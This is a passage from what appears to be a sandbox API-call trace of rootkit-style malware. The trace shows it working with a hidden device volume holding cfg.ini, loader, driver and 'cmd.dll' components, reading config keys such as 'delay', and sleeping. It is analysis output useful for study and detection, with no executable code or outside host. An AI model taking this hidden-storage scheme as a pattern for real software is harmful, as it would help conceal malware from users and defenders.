FastMutex=0xfffffa80027d3898) [0127.921] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c67000 [0127.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.921] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.921] IdePortDispatch () returned 0x103 [0127.921] KeWaitForMutexObject () returned 0x0 [0127.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.921] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.921] IdePortDispatch () returned 0x103 [0127.921] KeWaitForMutexObject () returned 0x0 [0127.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.921] KeLeaveCriticalRegion () [0127.921] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.922] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.922] KeEnterCriticalRegion () [0127.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.922] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.922] KeLeaveCriticalRegion () [0127.922] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.922] KeEnterCriticalRegion () [0127.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.922] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.922] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.922] KeLeaveCriticalRegion () [0127.922] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.922] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.922] KeEnterCriticalRegion () [0127.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.922] ExFreePoolWithTag (P=0xfffffa80037daa30, Tag=0x0) [0127.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.923] KeLeaveCriticalRegion () [0127.923] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.923] ReleaseMutex (hMutex=0xf0) returned 1 [0127.923] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.923] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.923] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.923] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.923] KeEnterCriticalRegion () [0127.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.923] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.923] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.923] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.923] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.923] IdePortDispatch () returned 0x103 [0127.925] KeWaitForMutexObject () returned 0x0 [0127.925] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.925] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.925] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.926] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.926] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.926] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.926] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.926] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.926] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.926] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.926] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.926] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.926] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.926] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.926] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.926] KeLeaveCriticalRegion () [0127.926] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.926] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.926] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.926] KeEnterCriticalRegion () [0127.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.926] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.926] IdePortDispatch () returned 0x103 [0127.926] KeWaitForMutexObject () returned 0x0 [0127.927] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.927] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.927] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.927] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.928] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.928] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.928] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.928] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.928] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.928] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.928] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.928] KeLeaveCriticalRegion () [0127.928] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.928] ReleaseMutex (hMutex=0x100) returned 1 [0127.928] Sleep (dwMilliseconds=0x2bf20) [0127.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f738430, dwHighDateTime=0x1d24fa4)) [0127.936] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.936] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.936] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.936] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.936] KeEnterCriticalRegion () [0127.936] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.936] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.936] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.936] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.936] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.936] IdePortDispatch () returned 0x103 [0127.937] KeWaitForMutexObject () returned 0x0 [0127.937] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.937] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.937] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.937] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.937] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.937] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c5feae0 [0127.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.937] KeLeaveCriticalRegion () [0127.937] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.937] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.937] KeEnterCriticalRegion () [0127.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.937] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.937] KeLeaveCriticalRegion () [0127.937] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.937] KeEnterCriticalRegion () [0127.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.937] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.937] IdePortDispatch () returned 0x103 [0127.938] KeWaitForMutexObject () returned 0x0 [0127.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.938] KeLeaveCriticalRegion () [0127.938] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.938] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.938] KeEnterCriticalRegion () [0127.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.938] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7a000 [0127.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.938] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.938] IdePortDispatch () returned 0x103 [0127.938] KeWaitForMutexObject () returned 0x0 [0127.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.938] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.939] IdePortDispatch () returned 0x103 [0127.939] KeWaitForMutexObject () returned 0x0 [0127.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.939] KeLeaveCriticalRegion () [0127.939] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.939] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.940] KeEnterCriticalRegion () [0127.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.940] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.940] KeLeaveCriticalRegion () [0127.940] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.940] KeEnterCriticalRegion () [0127.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.940] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.940] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.940] KeLeaveCriticalRegion () [0127.940] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.940] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.940] KeEnterCriticalRegion () [0127.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.940] ExFreePoolWithTag (P=0xfffffa800c5feae0, Tag=0x0) [0127.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.940] KeLeaveCriticalRegion () [0127.940] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.940] ReleaseMutex (hMutex=0xf0) returned 1 [0127.940] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.940] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.940] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.940] KeEnterCriticalRegion () [0127.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.940] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.940] IdePortDispatch () returned 0x103 [0127.941] KeWaitForMutexObject () returned 0x0 [0127.941] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.941] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.941] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.941] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.941] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.941] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da9d0 [0127.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.941] KeLeaveCriticalRegion () [0127.941] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.941] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.941] KeEnterCriticalRegion () [0127.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.941] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.941] KeLeaveCriticalRegion () [0127.941] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.941] KeEnterCriticalRegion () [0127.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.941] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.941] IdePortDispatch () returned 0x103 [0127.942] KeWaitForMutexObject () returned 0x0 [0127.942] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.942] KeLeaveCriticalRegion () [0127.942] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.942] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.942] KeEnterCriticalRegion () [0127.942] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.942] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7b000 [0127.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.942] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.942] IdePortDispatch () returned 0x103 [0127.942] KeWaitForMutexObject () returned 0x0 [0127.942] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0127.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.942] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.942] IdePortDispatch () returned 0x103 [0127.943] KeWaitForMutexObject () returned 0x0 [0127.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.943] KeLeaveCriticalRegion () [0127.943] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.943] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.943] KeEnterCriticalRegion () [0127.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.944] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0127.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.944] KeLeaveCriticalRegion () [0127.944] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.944] KeEnterCriticalRegion () [0127.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.944] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0127.944] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.944] KeLeaveCriticalRegion () [0127.944] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.944] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.944] KeEnterCriticalRegion () [0127.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.944] ExFreePoolWithTag (P=0xfffffa80037da9d0, Tag=0x0) [0127.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.944] KeLeaveCriticalRegion () [0127.944] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0127.944] ReleaseMutex (hMutex=0xf0) returned 1 [0127.944] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.944] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.944] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.944] KeEnterCriticalRegion () [0127.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0127.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0127.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) 